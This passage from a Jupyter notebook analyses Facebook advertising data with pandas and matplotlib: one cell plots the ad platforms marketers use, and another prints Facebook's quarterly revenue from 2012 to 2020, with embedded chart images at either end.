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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB28.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(15,9))\n", + "plt.grid(axis='y', color='r')\n", + "plt.xlabel(\"Ad platforms used by markers, Facebook vs rivals\")\n", + "plt.bar(x,y,color=['b','orange','y','m','k','g','c'])\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Key Facebook Revenue Statistics" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook revenue by quarter" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Facebook revenue(USD millions)\n", + "0 Q2 2012 1184\n", + "1 Q3 2012 1262\n", + "2 Q4 2012 1585\n", + "3 Q1 2013 1458\n", + "4 Q2 2013 1813\n", + "5 Q3 2013 2016\n", + "6 Q4 2013 2585\n", + "7 Q1 2014 2502\n", + "8 Q2 2014 2910\n", + "9 Q3 2014 3203\n", + "10 Q4 2014 3851\n", + "11 Q1 2015 3543\n", + "12 Q2 2015 4041\n", + "13 Q3 2015 4501\n", + "14 Q4 2015 5841\n", + "15 Q1 2016 5382\n", + "16 Q2 2016 6436\n", + "17 Q3 2016 7011\n", + "18 Q4 2016 8809\n", + "19 Q1 2017 8032\n", + "20 Q2 2017 9321\n", + "21 Q3 2017 10328\n", + "22 Q4 2017 12972\n", + "23 Q1 2018 11966\n", + "24 Q2 2018 13231\n", + "25 Q3 2018 13727\n", + "26 Q4 2018 16914\n", + "27 Q1 2019 15077\n", + "28 Q2 2019 16886\n", + "29 Q3 2019 17652\n", + "30 Q4 2019 21082\n", + "31 Q1 2020 17737\n", + "32 Q2 2020 18687\n", + "33 Q3 2020 21470\n", + "34 Q4 2020 28072\n" + ] + }, + { + "data": { + "image/png": "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